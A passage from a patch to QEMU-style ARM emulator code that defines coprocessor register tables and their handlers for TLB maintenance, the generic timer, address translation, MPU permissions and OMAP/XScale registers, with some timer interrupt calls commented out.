tlbimva_write }, + { "TLBIASID", 15,8,7, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiasid_write }, + { "TLBIMVAA", 15,8,7, 0,0,3, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimvaa_write }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo v7mp_cp_reginfo[] = { + /* 32 bit TLB invalidates, Inner Shareable */ + { "TLBIALLIS", 15,8,3, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiall_is_write }, + { "TLBIMVAIS", 15,8,3, 0,0,1, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimva_is_write }, + { "TLBIASIDIS", 15,8,3, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbiasid_is_write }, + { "TLBIMVAAIS", 15,8,3, 0,0,3, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, tlbimvaa_is_write }, + REGINFO_SENTINEL +}; + +static void teecr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + value &= 1; + env->teecr = value; +} + +static CPAccessResult teehbr_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + if (arm_current_el(env) == 0 && (env->teecr & 1)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static const ARMCPRegInfo t2ee_cp_reginfo[] = { + { "TEECR", 14,0,0, 0,6,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, teecr), + NULL, NULL, teecr_write }, + { "TEEHBR", 14,1,0, 0,6,0, 0, + 0, PL0_RW, NULL, 0, offsetof(CPUARMState, teehbr), + teehbr_access, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo v6k_cp_reginfo[] = { + { "TPIDR_EL0", 0,13,0, 3,3,2, ARM_CP_STATE_AA64, + 0, PL0_RW, NULL, 0, offsetof(CPUARMState, cp15.tpidr_el0), }, + { "TPIDRURW", 15,13,0, 0,0,2, 0, + 0, PL0_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.tpidr_el0), + NULL, NULL, NULL, NULL, NULL, arm_cp_reset_ignore }, + { "TPIDRRO_EL0", 0,13,0, 3,3,3, ARM_CP_STATE_AA64, + 0, PL0_R|PL1_W, NULL, 0, offsetof(CPUARMState, cp15.tpidrro_el0) }, + { "TPIDRURO", 15,13,0, 0,0,3, 0, + 0, PL0_R|PL1_W, NULL, 0, offsetoflow32(CPUARMState, cp15.tpidrro_el0), + NULL, NULL, NULL, NULL, NULL, arm_cp_reset_ignore }, + { "TPIDR_EL1", 0,13,0, 3,0,4, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.tpidr_el1), }, + REGINFO_SENTINEL +}; + +#ifndef CONFIG_USER_ONLY + +static CPAccessResult gt_cntfrq_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + /* CNTFRQ: not visible from PL0 if both PL0PCTEN and PL0VCTEN are zero */ + if (arm_current_el(env) == 0 && !extract32(env->cp15.c14_cntkctl, 0, 2)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static CPAccessResult gt_counter_access(CPUARMState *env, int timeridx) +{ + /* CNT[PV]CT: not visible from PL0 if ELO[PV]CTEN is zero */ + if (arm_current_el(env) == 0 && + !extract32(env->cp15.c14_cntkctl, timeridx, 1)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static CPAccessResult gt_timer_access(CPUARMState *env, int timeridx) +{ + /* CNT[PV]_CVAL, CNT[PV]_CTL, CNT[PV]_TVAL: not visible from PL0 if + * EL0[PV]TEN is zero. + */ + if (arm_current_el(env) == 0 && + !extract32(env->cp15.c14_cntkctl, 9 - timeridx, 1)) { + return CP_ACCESS_TRAP; + } + return CP_ACCESS_OK; +} + +static CPAccessResult gt_pct_access(CPUARMState *env, + const ARMCPRegInfo *ri) +{ + return gt_counter_access(env, GTIMER_PHYS); +} + +static CPAccessResult gt_vct_access(CPUARMState *env, + const ARMCPRegInfo *ri) +{ + return gt_counter_access(env, GTIMER_VIRT); +} + +static CPAccessResult gt_ptimer_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return gt_timer_access(env, GTIMER_PHYS); +} + +static CPAccessResult gt_vtimer_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return gt_timer_access(env, GTIMER_VIRT); +} + +static uint64_t gt_get_countervalue(CPUARMState *env) +{ + return qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) / GTIMER_SCALE; +} + +static void gt_recalc_timer(ARMCPU *cpu, int timeridx) +{ + ARMGenericTimer *gt = &cpu->env.cp15.c14_timer[timeridx]; + + if (gt->ctl & 1) { + /* Timer enabled: calculate and set current ISTATUS, irq, and + * reset timer to when ISTATUS next has to change + */ + uint64_t count = gt_get_countervalue(&cpu->env); + /* Note that this must be unsigned 64 bit arithmetic: */ + int istatus = count >= gt->cval; + uint64_t nexttick; + + gt->ctl = deposit32(gt->ctl, 2, 1, istatus); + //qemu_set_irq(cpu->gt_timer_outputs[timeridx], + // (istatus && !(gt->ctl & 2))); + if (istatus) { + /* Next transition is when count rolls back over to zero */ + nexttick = UINT64_MAX; + } else { + /* Next transition is when we hit cval */ + nexttick = gt->cval; + } + /* Note that the desired next expiry time might be beyond the + * signed-64-bit range of a QEMUTimer -- in this case we just + * set the timer for as far in the future as possible. When the + * timer expires we will reset the timer for any remaining period. + */ + if (nexttick > INT64_MAX / GTIMER_SCALE) { + nexttick = INT64_MAX / GTIMER_SCALE; + } + //timer_mod(cpu->gt_timer[timeridx], nexttick); + } else { + /* Timer disabled: ISTATUS and timer output always clear */ + gt->ctl &= ~4; + //qemu_set_irq(cpu->gt_timer_outputs[timeridx], 0); + //timer_del(cpu->gt_timer[timeridx]); + } +} + +static void gt_cnt_reset(CPUARMState *env, const ARMCPRegInfo *ri) +{ +} + +static uint64_t gt_cnt_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return gt_get_countervalue(env); +} + +static void gt_cval_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + int timeridx = ri->opc1 & 1; + + env->cp15.c14_timer[timeridx].cval = value; + //gt_recalc_timer(arm_env_get_cpu(env), timeridx); +} + +static uint64_t gt_tval_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + int timeridx = ri->crm & 1; + + return (uint32_t)(env->cp15.c14_timer[timeridx].cval - + gt_get_countervalue(env)); +} + +static void gt_tval_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + int timeridx = ri->crm & 1; + + env->cp15.c14_timer[timeridx].cval = gt_get_countervalue(env) + + + sextract64(value, 0, 32); + gt_recalc_timer(arm_env_get_cpu(env), timeridx); +} + +static void gt_ctl_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + int timeridx = ri->crm & 1; + uint32_t oldval = env->cp15.c14_timer[timeridx].ctl; + + env->cp15.c14_timer[timeridx].ctl = deposit64(oldval, 0, 2, value); + if ((oldval ^ value) & 1) { + /* Enable toggled */ + gt_recalc_timer(cpu, timeridx); + } else if ((oldval ^ value) & 2) { + /* IMASK toggled: don't need to recalculate, + * just set the interrupt line based on ISTATUS + */ + //qemu_set_irq(cpu->gt_timer_outputs[timeridx], + // (oldval & 4) && !(value & 2)); + } +} + +void arm_gt_ptimer_cb(void *opaque) +{ + ARMCPU *cpu = opaque; + + gt_recalc_timer(cpu, GTIMER_PHYS); +} + +void arm_gt_vtimer_cb(void *opaque) +{ + ARMCPU *cpu = opaque; + + gt_recalc_timer(cpu, GTIMER_VIRT); +} + +static const ARMCPRegInfo generic_timer_cp_reginfo[] = { + /* Note that CNTFRQ is purely reads-as-written for the benefit + * of software; writing it doesn't actually change the timer frequency. + * Our reset value matches the fixed frequency we implement the timer at. + */ + { "CNTFRQ", 15,14,0, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_RW | PL0_R, NULL, 0, offsetoflow32(CPUARMState, cp15.c14_cntfrq), + gt_cntfrq_access, NULL,NULL, NULL,NULL, arm_cp_reset_ignore, }, + { "CNTFRQ_EL0", 0,14,0, 3,3,0, ARM_CP_STATE_AA64, + 0, PL1_RW | PL0_R, NULL, (1000 * 1000 * 1000) / GTIMER_SCALE, offsetof(CPUARMState, cp15.c14_cntfrq), + gt_cntfrq_access, }, + /* overall control: mostly access permissions */ + { "CNTKCTL", 0,14,1, 3,0,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c14_cntkctl), }, + /* per-timer control */ + { "CNTP_CTL", 15,14,2, 0,0,1, 0, + ARM_CP_IO | ARM_CP_NO_MIGRATE, PL1_RW | PL0_R, NULL, 0, offsetoflow32(CPUARMState, cp15.c14_timer[GTIMER_PHYS].ctl), + gt_ptimer_access, NULL, gt_ctl_write, NULL,raw_write, arm_cp_reset_ignore, }, + { "CNTP_CTL_EL0", 0,14,2, 3,3,1, ARM_CP_STATE_AA64, + ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_PHYS].ctl), + gt_ptimer_access, NULL,gt_ctl_write, NULL,raw_write, }, + { "CNTV_CTL", 15,14,3, 0,0,1, 0, + ARM_CP_IO | ARM_CP_NO_MIGRATE, PL1_RW | PL0_R, NULL, 0, offsetoflow32(CPUARMState, cp15.c14_timer[GTIMER_VIRT].ctl), + gt_vtimer_access, NULL,gt_ctl_write, NULL,raw_write, arm_cp_reset_ignore, }, + { "CNTV_CTL_EL0", 0,14,3, 3,3,1, ARM_CP_STATE_AA64, + ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_VIRT].ctl), + gt_vtimer_access, NULL,gt_ctl_write, NULL,raw_write, }, + /* TimerValue views: a 32 bit downcounting view of the underlying state */ + { "CNTP_TVAL", 15,14,2, 0,0,0, 0, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, 0, + gt_ptimer_access, gt_tval_read, gt_tval_write, }, + { "CNTP_TVAL_EL0", 0,14,2, 3,3,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, 0, + NULL, gt_tval_read, gt_tval_write, }, + { "CNTV_TVAL", 15,14,3, 0,0,0, 0, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, 0, + gt_vtimer_access, gt_tval_read, gt_tval_write, }, + { "CNTV_TVAL_EL0", 0,14,3, 3,3,0, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, 0, + NULL, gt_tval_read, gt_tval_write, }, + /* The counter itself */ + { "CNTPCT", 15,0,14, 0,0, 0, 0, + ARM_CP_64BIT | ARM_CP_NO_MIGRATE | ARM_CP_IO, PL0_R, NULL, 0, 0, + gt_pct_access, gt_cnt_read,NULL, NULL,NULL, arm_cp_reset_ignore, }, + { "CNTPCT_EL0", 0,14,0, 3,3,1, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL0_R, NULL, 0, 0, + gt_pct_access, gt_cnt_read, NULL, NULL, NULL, gt_cnt_reset, }, + { "CNTVCT", 15,0,14, 0,1,0, 0, + ARM_CP_64BIT | ARM_CP_NO_MIGRATE | ARM_CP_IO, PL0_R, NULL, 0, 0, + gt_vct_access, gt_cnt_read,NULL, NULL,NULL, arm_cp_reset_ignore, }, + { "CNTVCT_EL0", 0,14,0, 3,3,2, ARM_CP_STATE_AA64, + ARM_CP_NO_MIGRATE | ARM_CP_IO, PL0_R, NULL, 0, 0, + gt_vct_access, gt_cnt_read, NULL, NULL,NULL, gt_cnt_reset, }, + /* Comparison value, indicating when the timer goes off */ + { "CNTP_CVAL", 15, 0,14, 0,2, 0, 0, + ARM_CP_64BIT | ARM_CP_IO | ARM_CP_NO_MIGRATE, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_PHYS].cval), + gt_ptimer_access, NULL, gt_cval_write, NULL, raw_write, arm_cp_reset_ignore, }, + { "CNTP_CVAL_EL0", 0,14,2, 3,3,2, ARM_CP_STATE_AA64, + ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_PHYS].cval), + gt_vtimer_access, NULL, gt_cval_write, NULL, raw_write, }, + { "CNTV_CVAL", 15, 0,14, 0,3,0, 0, + ARM_CP_64BIT | ARM_CP_IO | ARM_CP_NO_MIGRATE, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_VIRT].cval), + gt_vtimer_access, NULL, gt_cval_write, NULL, raw_write, arm_cp_reset_ignore, }, + { "CNTV_CVAL_EL0", 0,14,3, 3,3,2, ARM_CP_STATE_AA64, + ARM_CP_IO, PL1_RW | PL0_R, NULL, 0, offsetof(CPUARMState, cp15.c14_timer[GTIMER_VIRT].cval), + gt_vtimer_access, NULL, gt_cval_write, NULL, raw_write, }, + REGINFO_SENTINEL +}; + +#else +/* In user-mode none of the generic timer registers are accessible, + * and their implementation depends on QEMU_CLOCK_VIRTUAL and qdev gpio outputs, + * so instead just don't register any of them. + */ +static const ARMCPRegInfo generic_timer_cp_reginfo[] = { + REGINFO_SENTINEL +}; + +#endif + +static void par_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + if (arm_feature(env, ARM_FEATURE_LPAE)) { + raw_write(env, ri, value); + } else if (arm_feature(env, ARM_FEATURE_V7)) { + raw_write(env, ri, value & 0xfffff6ff); + } else { + raw_write(env, ri, value & 0xfffff1ff); + } +} + +#ifndef CONFIG_USER_ONLY +/* get_phys_addr() isn't present for user-mode-only targets */ + +static CPAccessResult ats_access(CPUARMState *env, const ARMCPRegInfo *ri) +{ + if (ri->opc2 & 4) { + /* Other states are only available with TrustZone; in + * a non-TZ implementation these registers don't exist + * at all, which is an Uncategorized trap. This underdecoding + * is safe because the reginfo is NO_MIGRATE. + */ + return CP_ACCESS_TRAP_UNCATEGORIZED; + } + return CP_ACCESS_OK; +} + +static void ats_write(CPUARMState *env, const ARMCPRegInfo *ri, uint64_t value) +{ + hwaddr phys_addr; + target_ulong page_size; + int prot; + int ret, is_user = ri->opc2 & 2; + int access_type = ri->opc2 & 1; + + ret = get_phys_addr(env, value, access_type, is_user, + &phys_addr, &prot, &page_size); + if (extended_addresses_enabled(env)) { + /* ret is a DFSR/IFSR value for the long descriptor + * translation table format, but with WnR always clear. + * Convert it to a 64-bit PAR. + */ + uint64_t par64 = (1 << 11); /* LPAE bit always set */ + if (ret == 0) { + par64 |= phys_addr & ~0xfffULL; + /* We don't set the ATTR or SH fields in the PAR. */ + } else { + par64 |= 1; /* F */ + par64 |= (ret & 0x3f) << 1; /* FS */ + /* Note that S2WLK and FSTAGE are always zero, because we don't + * implement virtualization and therefore there can't be a stage 2 + * fault. + */ + } + env->cp15.par_el1 = par64; + } else { + /* ret is a DFSR/IFSR value for the short descriptor + * translation table format (with WnR always clear). + * Convert it to a 32-bit PAR. + */ + if (ret == 0) { + /* We do not set any attribute bits in the PAR */ + if (page_size == (1 << 24) + && arm_feature(env, ARM_FEATURE_V7)) { + env->cp15.par_el1 = (phys_addr & 0xff000000) | 1 << 1; + } else { + env->cp15.par_el1 = phys_addr & 0xfffff000; + } + } else { + env->cp15.par_el1 = ((ret & (1 << 10)) >> 5) | + ((ret & (1 << 12)) >> 6) | + ((ret & 0xf) << 1) | 1; + } + } +} +#endif + +static const ARMCPRegInfo vapa_cp_reginfo[] = { + { "PAR", 15,7,4, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.par_el1), + NULL, NULL, par_write }, +#ifndef CONFIG_USER_ONLY + { "ATS", 15,7,8, 0,0,CP_ANY, 0, + ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + ats_access, NULL, ats_write }, +#endif + REGINFO_SENTINEL +}; + +/* Return basic MPU access permission bits. */ +static uint32_t simple_mpu_ap_bits(uint32_t val) +{ + uint32_t ret; + uint32_t mask; + int i; + ret = 0; + mask = 3; + for (i = 0; i < 16; i += 2) { + ret |= (val >> i) & mask; + mask <<= 2; + } + return ret; +} + +/* Pad basic MPU access permission bits to extended format. */ +static uint32_t extended_mpu_ap_bits(uint32_t val) +{ + uint32_t ret; + uint32_t mask; + int i; + ret = 0; + mask = 3; + for (i = 0; i < 16; i += 2) { + ret |= (val & mask) << i; + mask <<= 2; + } + return ret; +} + +static void pmsav5_data_ap_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.pmsav5_data_ap = extended_mpu_ap_bits(value); +} + +static uint64_t pmsav5_data_ap_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return simple_mpu_ap_bits(env->cp15.pmsav5_data_ap); +} + +static void pmsav5_insn_ap_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.pmsav5_insn_ap = extended_mpu_ap_bits(value); +} + +static uint64_t pmsav5_insn_ap_read(CPUARMState *env, const ARMCPRegInfo *ri) +{ + return simple_mpu_ap_bits(env->cp15.pmsav5_insn_ap); +} + +static const ARMCPRegInfo pmsav5_cp_reginfo[] = { + { "DATA_AP", 15,5,0, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.pmsav5_data_ap), + NULL, pmsav5_data_ap_read, pmsav5_data_ap_write, }, + { "INSN_AP", 15,5,0, 0,0,1, 0, + ARM_CP_NO_MIGRATE,PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.pmsav5_insn_ap), + NULL, pmsav5_insn_ap_read, pmsav5_insn_ap_write, }, + { "DATA_EXT_AP", 15,5,0, 0,0,2, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.pmsav5_data_ap), }, + { "INSN_EXT_AP", 15,5,0, 0,0,3, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.pmsav5_insn_ap), }, + { "DCACHE_CFG", 15,2,0, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c2_data), }, + { "ICACHE_CFG", 15,2,0, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c2_insn), }, + /* Protection region base and size registers */ + { "946_PRBS0", 15,6,0, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[0]) }, + { "946_PRBS1", 15,6,1, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[1]) }, + { "946_PRBS2", 15,6,2, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[2]) }, + { "946_PRBS3", 15,6,3, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[3]) }, + { "946_PRBS4", 15,6,4, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[4]) }, + { "946_PRBS5", 15,6,5, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[5]) }, + { "946_PRBS6", 15,6,6, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[6]) }, + { "946_PRBS7", 15,6,7, 0,0,CP_ANY, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c6_region[7]) }, + REGINFO_SENTINEL +}; + +static void vmsa_ttbcr_raw_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + int maskshift = extract32(value, 0, 3); + + if (!arm_feature(env, ARM_FEATURE_V8)) { + if (arm_feature(env, ARM_FEATURE_LPAE) && (value & TTBCR_EAE)) { + /* Pre ARMv8 bits [21:19], [15:14] and [6:3] are UNK/SBZP when + * using Long-desciptor translation table format */ + value &= ~((7 << 19) | (3 << 14) | (0xf << 3)); + } else if (arm_feature(env, ARM_FEATURE_EL3)) { + /* In an implementation that includes the Security Extensions + * TTBCR has additional fields PD0 [4] and PD1 [5] for + * Short-descriptor translation table format. + */ + value &= TTBCR_PD1 | TTBCR_PD0 | TTBCR_N; + } else { + value &= TTBCR_N; + } + } + + /* Note that we always calculate c2_mask and c2_base_mask, but + * they are only used for short-descriptor tables (ie if EAE is 0); + * for long-descriptor tables the TTBCR fields are used differently + * and the c2_mask and c2_base_mask values are meaningless. + */ + raw_write(env, ri, value); + env->cp15.c2_mask = ~(((uint32_t)0xffffffffu) >> maskshift); + env->cp15.c2_base_mask = ~((uint32_t)0x3fffu >> maskshift); +} + +static void vmsa_ttbcr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + if (arm_feature(env, ARM_FEATURE_LPAE)) { + /* With LPAE the TTBCR could result in a change of ASID + * via the TTBCR.A1 bit, so do a TLB flush. + */ + tlb_flush(CPU(cpu), 1); + } + vmsa_ttbcr_raw_write(env, ri, value); +} + +static void vmsa_ttbcr_reset(CPUARMState *env, const ARMCPRegInfo *ri) +{ + env->cp15.c2_base_mask = 0xffffc000u; + raw_write(env, ri, 0); + env->cp15.c2_mask = 0; +} + +static void vmsa_tcr_el1_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + /* For AArch64 the A1 bit could result in a change of ASID, so TLB flush. */ + tlb_flush(CPU(cpu), 1); + raw_write(env, ri, value); +} + +static void vmsa_ttbr_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* 64 bit accesses to the TTBRs can change the ASID and so we + * must flush the TLB. + */ + if (cpreg_field_is_64bit(ri)) { + ARMCPU *cpu = arm_env_get_cpu(env); + + tlb_flush(CPU(cpu), 1); + } + raw_write(env, ri, value); +} + +static const ARMCPRegInfo vmsa_cp_reginfo[] = { + { "DFSR", 15,5,0, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.esr_el[1]), + NULL,NULL,NULL,NULL,NULL, arm_cp_reset_ignore, }, + { "IFSR", 15,5,0, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.ifsr_el2), }, + { "ESR_EL1", 0,5,2, 3,0,0, ARM_CP_STATE_AA64, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.esr_el[1]), }, + { "TTBR0_EL1", 0,2,0, 3,0,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.ttbr0_el1), + NULL, NULL, vmsa_ttbr_write, }, + { "TTBR1_EL1", 0,2,0, 3,0,1, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.ttbr1_el1), + NULL, NULL, vmsa_ttbr_write, }, + { "TCR_EL1", 0,2,0, 3,0,2, ARM_CP_STATE_AA64, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c2_control), + NULL, NULL,vmsa_tcr_el1_write, NULL,raw_write, vmsa_ttbcr_reset, }, + { "TTBCR", 15,2,0, 0,0,2, 0, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.c2_control), + NULL, NULL, vmsa_ttbcr_write, NULL, vmsa_ttbcr_raw_write, arm_cp_reset_ignore, }, + /* 64-bit FAR; this entry also gives us the AArch32 DFAR */ + { "FAR_EL1", 0,6,0, 3,0,0, ARM_CP_STATE_BOTH, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.far_el[1]), }, + REGINFO_SENTINEL +}; + +static void omap_ticonfig_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c15_ticonfig = value & 0xe7; + /* The OS_TYPE bit in this register changes the reported CPUID! */ + env->cp15.c0_cpuid = (value & (1 << 5)) ? + ARM_CPUID_TI915T : ARM_CPUID_TI925T; +} + +static void omap_threadid_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c15_threadid = value & 0xffff; +} + +static void omap_wfi_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* Wait-for-interrupt (deprecated) */ + cpu_interrupt(CPU(arm_env_get_cpu(env)), CPU_INTERRUPT_HALT); +} + +static void omap_cachemaint_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + /* On OMAP there are registers indicating the max/min index of dcache lines + * containing a dirty line; cache flush operations have to reset these. + */ + env->cp15.c15_i_max = 0x000; + env->cp15.c15_i_min = 0xff0; +} + +static const ARMCPRegInfo omap_cp_reginfo[] = { + { "DFSR", 15,5,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_OVERRIDE, PL1_RW, NULL, 0, offsetoflow32(CPUARMState, cp15.esr_el[1]), }, + { "", 15,15,0, 0,0,0, 0, + ARM_CP_NOP, PL1_RW, NULL, 0, 0, }, + { "TICONFIG", 15,15,1, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_ticonfig), + NULL, NULL, omap_ticonfig_write }, + { "IMAX", 15,15,2, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_i_max), }, + { "IMIN", 15,15,3, 0,0,0, 0, + 0, PL1_RW, NULL, 0xff0, offsetof(CPUARMState, cp15.c15_i_min) }, + { "THREADID", 15,15,4, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_threadid), + NULL, NULL, omap_threadid_write }, + { "TI925T_STATUS", 15,15,8, 0,0,0, 0, + ARM_CP_NO_MIGRATE, PL1_RW, NULL, 0, 0, + NULL, arm_cp_read_zero, omap_wfi_write, }, + /* TODO: Peripheral port remap register: + * On OMAP2 mcr p15, 0, rn, c15, c2, 4 sets up the interrupt controller + * base address at $rn & ~0xfff and map size of 0x200 << ($rn & 0xfff), + * when MMU is off. + */ + { "OMAP_CACHEMAINT", 15,7,CP_ANY, 0,0,CP_ANY, 0, + ARM_CP_OVERRIDE | ARM_CP_NO_MIGRATE, PL1_W, NULL, 0, 0, + NULL, NULL, omap_cachemaint_write }, + { "C9", 15,9,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_CONST | ARM_CP_OVERRIDE, PL1_RW, NULL, 0, 0, }, + REGINFO_SENTINEL +}; + +static void xscale_cpar_write(CPUARMState *env, const ARMCPRegInfo *ri, + uint64_t value) +{ + env->cp15.c15_cpar = value & 0x3fff; +} + +static const ARMCPRegInfo xscale_cp_reginfo[] = { + { "XSCALE_CPAR", 15,15,1, 0,0,0, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c15_cpar), + NULL, NULL, xscale_cpar_write, }, + { "XSCALE_AUXCR", 15,1,0, 0,0,1, 0, + 0, PL1_RW, NULL, 0, offsetof(CPUARMState, cp15.c1_xscaleauxcr), }, + /* XScale specific cache-lockdown: since we have no cache we NOP these + * and hope the guest does not really rely on cache behaviour. + */ + { "XSCALE_LOCK_ICACHE_LINE", 15,9,1, 0,0,0, 0, + ARM_CP_NOP, PL1_W }, + { "XSCALE_UNLOCK_ICACHE", 15,9,1, 0,0,1, 0, + ARM_CP_NOP, PL1_W, }, + { "XSCALE_DCACHE_LOCK", 15,9,2, 0,0,0, 0, + ARM_CP_NOP, PL1_RW }, + { "XSCALE_UNLOCK_DCACHE", 15,9,2, 0,0,1, 0, + ARM_CP_NOP, PL1_W, }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo dummy_c15_cp_reginfo[] = { + /* RAZ/WI the whole crn=15 space, when we don't have a more specific + * implementation of this implementation-defined space. + * Ideally this should eventually disappear in favour of actually + * implementing the correct behaviour for all cores. + */ + { "C15_IMPDEF", 15,15,CP_ANY, 0,CP_ANY,CP_ANY, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE | ARM_CP_OVERRIDE, PL1_RW, NULL, 0 }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo cache_dirty_status_cp_reginfo[] = { + /* Cache status: RAZ because we have no cache so it's always clean */ + { "CDSR", 15,7,10, 0,0,6, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE, PL1_R, NULL, 0 }, + REGINFO_SENTINEL +}; + +static const ARMCPRegInfo cache_block_ops_cp_reginfo[] = { + /* We never have a a block transfer operation in progress */ + { "BXSR", 15,7,12, 0,0,4, 0, + ARM_CP_CONST | ARM_CP_NO_MIGRATE, PL0_R, NULL, 0 }, + /* The cache ops themselves: these all NOP for QEMU */ + { "IICR", 15, 0,5, 0,0, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL1_W }, + { "IDCR", 15, 0,6, 0,0, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL1_W, }, + { "CDCR", 15, 0,12, 0,0, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL0_W, }, + { "PIR", 15, 0,12, 0,1, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL0_W, }, + { "PDR", 15, 0,12, 0,2, 0, 0, + ARM_CP_NOP|ARM_CP_64BIT, PL0_W, }, + { 